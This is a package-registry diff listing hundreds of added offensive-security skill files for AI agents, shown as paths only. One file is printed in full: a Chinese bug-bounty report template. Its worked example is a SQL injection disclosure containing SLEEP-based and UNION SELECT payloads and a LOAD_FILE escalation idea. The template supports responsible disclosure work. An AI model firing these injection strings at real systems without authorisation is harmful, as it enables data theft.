opencode-skills-collection 4.0.43 → 4.0.45
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +47 -1
- package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
- package/bundled-skills/api-security/SKILL.md +205 -0
- package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
- package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
- package/bundled-skills/apk-reverse/SKILL.md +438 -0
- package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
- package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
- package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
- package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
- package/bundled-skills/attack-chain/SKILL.md +185 -0
- package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
- package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
- package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
- package/bundled-skills/attack-chain/references/phases.md +490 -0
- package/bundled-skills/binary-diff/SKILL.md +320 -0
- package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
- package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
- package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
- package/bundled-skills/case-review/SKILL.md +167 -0
- package/bundled-skills/cloud-k8s/SKILL.md +124 -0
- package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
- package/bundled-skills/code-audit/SKILL.md +92 -0
- package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
- package/bundled-skills/database-security/SKILL.md +81 -0
- package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
- package/bundled-skills/diagram-generator/SKILL.md +199 -0
- package/bundled-skills/diagram-generator/references/README.md +3 -0
- package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
- package/bundled-skills/digital-forensics/SKILL.md +93 -0
- package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
- package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
- package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
- package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
- package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
- package/bundled-skills/docs/sources/sources.md +9 -0
- package/bundled-skills/docs/users/aas-core.md +1 -1
- package/bundled-skills/docs/users/bundles.md +1 -1
- package/bundled-skills/docs/users/claude-code-skills.md +1 -1
- package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
- package/bundled-skills/docs/users/kiro-integration.md +1 -1
- package/bundled-skills/docs/users/usage.md +3 -3
- package/bundled-skills/docs/users/visual-guide.md +4 -4
- package/bundled-skills/docs-generator/SKILL.md +197 -0
- package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
- package/bundled-skills/docs-generator/references/templates.md +102 -0
- package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
- package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
- package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
- package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
- package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
- package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
- package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
- package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
- package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
- package/bundled-skills/email-security/SKILL.md +81 -0
- package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
- package/bundled-skills/firmware-pentest/SKILL.md +381 -0
- package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
- package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
- package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
- package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
- package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
- package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
- package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
- package/bundled-skills/hardware-security/SKILL.md +80 -0
- package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
- package/bundled-skills/ida-reverse/SKILL.md +401 -0
- package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
- package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
- package/bundled-skills/identity-federation/SKILL.md +81 -0
- package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
- package/bundled-skills/instructree/SKILL.md +94 -0
- package/bundled-skills/js-reverse/SKILL.md +239 -0
- package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
- package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
- package/bundled-skills/js-reverse/references/env-patching.md +6 -0
- package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
- package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
- package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
- package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
- package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
- package/bundled-skills/js-reverse/references/output-contract.md +9 -0
- package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
- package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
- package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
- package/bundled-skills/llm-security/SKILL.md +160 -0
- package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
- package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
- package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
- package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
- package/bundled-skills/macos-reverse/SKILL.md +85 -0
- package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
- package/bundled-skills/malware-analysis/SKILL.md +311 -0
- package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
- package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
- package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
- package/bundled-skills/mobile-reverse/SKILL.md +222 -0
- package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
- package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
- package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
- package/bundled-skills/muapi-media/SKILL.md +311 -0
- package/bundled-skills/ot-ics/SKILL.md +117 -0
- package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
- package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
- package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
- package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
- package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
- package/bundled-skills/pentest-tools/SKILL.md +346 -0
- package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
- package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
- package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
- package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
- package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
- package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
- package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
- package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
- package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
- package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
- package/bundled-skills/pentest-tools/references/payloads.md +32 -0
- package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
- package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
- package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
- package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
- package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
- package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
- package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
- package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
- package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
- package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
- package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
- package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
- package/bundled-skills/protocol-reverse/SKILL.md +108 -0
- package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
- package/bundled-skills/pwn-chain/SKILL.md +209 -0
- package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
- package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
- package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
- package/bundled-skills/radare2/SKILL.md +460 -0
- package/bundled-skills/radare2/references/cheatsheet.md +129 -0
- package/bundled-skills/radio-sdr/SKILL.md +77 -0
- package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
- package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
- package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
- package/bundled-skills/reverse-engineering/SKILL.md +213 -0
- package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
- package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
- package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
- package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
- package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
- package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
- package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
- package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
- package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
- package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
- package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
- package/bundled-skills/reverse-engineering/references/languages.md +499 -0
- package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
- package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
- package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
- package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
- package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
- package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
- package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
- package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
- package/bundled-skills/reverse-engineering/references/tools.md +546 -0
- package/bundled-skills/supply-chain-security/SKILL.md +180 -0
- package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
- package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
- package/bundled-skills/thick-client/SKILL.md +104 -0
- package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
- package/bundled-skills/threat-hunting/SKILL.md +94 -0
- package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
- package/bundled-skills/threat-intelligence/SKILL.md +176 -0
- package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
- package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
- package/bundled-skills/wifi-wireless/SKILL.md +80 -0
- package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
- package/bundled-skills/windows-ad/SKILL.md +109 -0
- package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
- package/package.json +1 -1
- package/skills_index.json +1214 -2
|
@@ -0,0 +1,346 @@
|
|
|
1
|
+
# SRC 报告提交模板
|
|
2
|
+
|
|
3
|
+
> 适用:HackerOne、Bugcrowd、补天、漏洞盒子、CNVD、私域 SRC
|
|
4
|
+
> 三段式:标题 / 重现 / 影响——审核员 30 秒内能判分
|
|
5
|
+
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## 0. 提交前自检 10 项
|
|
9
|
+
|
|
10
|
+
按下 Submit 之前逐项打勾:
|
|
11
|
+
|
|
12
|
+
- [ ] 标题符合 `[等级][条件][类型] 端点 - 一句话` 格式
|
|
13
|
+
- [ ] 资产在 program scope(看 policy 页)
|
|
14
|
+
- [ ] 复现步骤逐条编号,含完整 HTTP 请求/响应
|
|
15
|
+
- [ ] 至少 1 张响应截图 + 1 张 URL 可见的截图
|
|
16
|
+
- [ ] 副作用证据(外带 / 数据 / 文件 / 命令输出)
|
|
17
|
+
- [ ] 至少 3 次复现成功(关键漏洞 5 次)
|
|
18
|
+
- [ ] CVSS 3.1 / 4.0 vector + 影响段
|
|
19
|
+
- [ ] 修复建议(具体 + 可操作)
|
|
20
|
+
- [ ] 未对生产数据造成不可逆影响
|
|
21
|
+
- [ ] 个人 PII / 第三方数据已脱敏
|
|
22
|
+
|
|
23
|
+
---
|
|
24
|
+
|
|
25
|
+
## 1. 标题模板
|
|
26
|
+
|
|
27
|
+
```
|
|
28
|
+
[严重等级][条件][漏洞类型] 端点 - 一句话描述
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
示例:
|
|
32
|
+
|
|
33
|
+
```
|
|
34
|
+
[Critical][未授权][RCE] /api/v1/import 接受 ${jndi:} - 单包打穿
|
|
35
|
+
[High][认证后][SQLi] /api/search?q= UNION 注入 - 可读 admin hash
|
|
36
|
+
[High][越权][IDOR] /api/orders/{id} 横向遍历他人订单
|
|
37
|
+
[Medium][CSRF] /api/email/change 缺 token + SameSite=None
|
|
38
|
+
[Critical][默认凭据] Spring Boot Actuator /heapdump - 泄露 DB 密码
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
平台映射:
|
|
42
|
+
|
|
43
|
+
| 平台 | 严重度 |
|
|
44
|
+
|------|------|
|
|
45
|
+
| HackerOne | None / Low / Medium / High / Critical(CVSS 自动转) |
|
|
46
|
+
| Bugcrowd | VRT P1 / P2 / P3 / P4 / P5 |
|
|
47
|
+
| 补天 | 严重 / 高 / 中 / 低 |
|
|
48
|
+
| CNVD | 超危 / 高危 / 中危 / 低危 |
|
|
49
|
+
|
|
50
|
+
---
|
|
51
|
+
|
|
52
|
+
## 2. 主体三段式
|
|
53
|
+
|
|
54
|
+
### Section 1:漏洞概要(Summary)
|
|
55
|
+
|
|
56
|
+
```markdown
|
|
57
|
+
## 漏洞概要
|
|
58
|
+
|
|
59
|
+
**类型**:SQL 注入(认证后,时间盲)
|
|
60
|
+
**位置**:`POST /api/search` 的 `keyword` 参数
|
|
61
|
+
**严重程度**:High
|
|
62
|
+
**CVSS 3.1**:8.1(`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N`)
|
|
63
|
+
**先决条件**:拥有有效注册账号(免费注册)
|
|
64
|
+
**影响范围**:可拖出 users 表 / 读 admin 密码 hash
|
|
65
|
+
|
|
66
|
+
一句话:`POST /api/search` 的 `keyword` 参数未经参数化进入 SQL 查询,
|
|
67
|
+
攻击者可注入 SELECT 语句读取数据库任意内容。
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
### Section 2:复现步骤(Steps to Reproduce)
|
|
71
|
+
|
|
72
|
+
```markdown
|
|
73
|
+
## 复现步骤
|
|
74
|
+
|
|
75
|
+
### 环境
|
|
76
|
+
- 测试时间:2025-05-09 14:30 UTC
|
|
77
|
+
- 测试账号:hunter_test01(攻击者控制)
|
|
78
|
+
- 目标域名:target.com
|
|
79
|
+
|
|
80
|
+
### Step 1:登录获取 token
|
|
81
|
+
|
|
82
|
+
请求:
|
|
83
|
+
|
|
84
|
+
POST /api/login HTTP/1.1
|
|
85
|
+
Host: target.com
|
|
86
|
+
Content-Type: application/json
|
|
87
|
+
|
|
88
|
+
{"email":"hunter+a@example.com","password":"<已脱敏>"}
|
|
89
|
+
|
|
90
|
+
响应:
|
|
91
|
+
|
|
92
|
+
{"token":"eyJhbGc...(前 12 字符)"}
|
|
93
|
+
|
|
94
|
+
### Step 2:触发时间盲注(基线对比)
|
|
95
|
+
|
|
96
|
+
**真条件包**:
|
|
97
|
+
|
|
98
|
+
POST /api/search HTTP/1.1
|
|
99
|
+
Host: target.com
|
|
100
|
+
Authorization: Bearer eyJhbGc...
|
|
101
|
+
Content-Type: application/json
|
|
102
|
+
|
|
103
|
+
{"keyword":"x' AND (SELECT SLEEP(5))-- -"}
|
|
104
|
+
|
|
105
|
+
响应时间:5.21s
|
|
106
|
+
|
|
107
|
+
**假条件包**:
|
|
108
|
+
|
|
109
|
+
POST /api/search HTTP/1.1
|
|
110
|
+
{"keyword":"x' AND (SELECT SLEEP(0))-- -"}
|
|
111
|
+
|
|
112
|
+
响应时间:0.08s
|
|
113
|
+
|
|
114
|
+
### Step 3:5 次复现稳定性
|
|
115
|
+
|
|
116
|
+
| 次数 | 真条件 | 假条件 | 差异 |
|
|
117
|
+
|-----|-------|-------|-----|
|
|
118
|
+
| 1 | 5.21s | 0.09s | 5.12s |
|
|
119
|
+
| 2 | 5.18s | 0.07s | 5.11s |
|
|
120
|
+
| 3 | 5.31s | 0.08s | 5.23s |
|
|
121
|
+
| 4 | 5.22s | 0.09s | 5.13s |
|
|
122
|
+
| 5 | 5.19s | 0.08s | 5.11s |
|
|
123
|
+
|
|
124
|
+
### Step 4:数据外带(仅做版本探测,未拖库)
|
|
125
|
+
|
|
126
|
+
POST /api/search HTTP/1.1
|
|
127
|
+
{"keyword":"x' UNION SELECT 1,2,version()-- -"}
|
|
128
|
+
|
|
129
|
+
响应:[{"id":1,"name":2,"info":"5.7.34-log"}]
|
|
130
|
+
|
|
131
|
+
我未尝试拖出表数据 / 读取 admin 密码 hash / outfile 写文件。
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
### Section 3:影响 + 修复(Impact + Remediation)
|
|
135
|
+
|
|
136
|
+
```markdown
|
|
137
|
+
## 影响
|
|
138
|
+
|
|
139
|
+
- **数据库版本**:MySQL 5.7.34
|
|
140
|
+
- **可达范围**:当前数据库(prod_main)的所有表
|
|
141
|
+
- **可拖数据**:users、orders、payments 表(推断含 PII / 财务)
|
|
142
|
+
- **可升级**:通过 LOAD_FILE 读取 /etc/passwd(如 FILE 权限)→ 信息泄露
|
|
143
|
+
- **业务影响**:用户隐私泄露、合规风险(GDPR / CCPA)
|
|
144
|
+
|
|
145
|
+
## 修复建议
|
|
146
|
+
|
|
147
|
+
### 短期(立即)
|
|
148
|
+
- 在 `/api/search` 接口对 `keyword` 参数使用参数化查询(PreparedStatement / `?` 占位符)
|
|
149
|
+
- 临时部署 WAF 规则拦截常见 SQL 关键字
|
|
150
|
+
|
|
151
|
+
### 中期(1 周内)
|
|
152
|
+
- 全站 SQL 拼接代码审计,统一改用 ORM / 参数化
|
|
153
|
+
- 启用 query 日志监控异常 SQL
|
|
154
|
+
|
|
155
|
+
### 长期
|
|
156
|
+
- 数据库账号最小权限(仅 SELECT 单表)
|
|
157
|
+
- 引入 SQL 注入静态扫描(CI 集成)
|
|
158
|
+
|
|
159
|
+
## 我未做的事
|
|
160
|
+
|
|
161
|
+
- 未拖出任何表的真实数据
|
|
162
|
+
- 未尝试 LOAD_FILE / OUTFILE
|
|
163
|
+
- 未读取 admin 密码 hash
|
|
164
|
+
- 未对其他端点做注入测试
|
|
165
|
+
|
|
166
|
+
可应贵方安全团队要求做进一步演示。
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
---
|
|
170
|
+
|
|
171
|
+
## 3. 附件清单
|
|
172
|
+
|
|
173
|
+
每份报告建议附 4–6 类材料:
|
|
174
|
+
|
|
175
|
+
```
|
|
176
|
+
attachments/
|
|
177
|
+
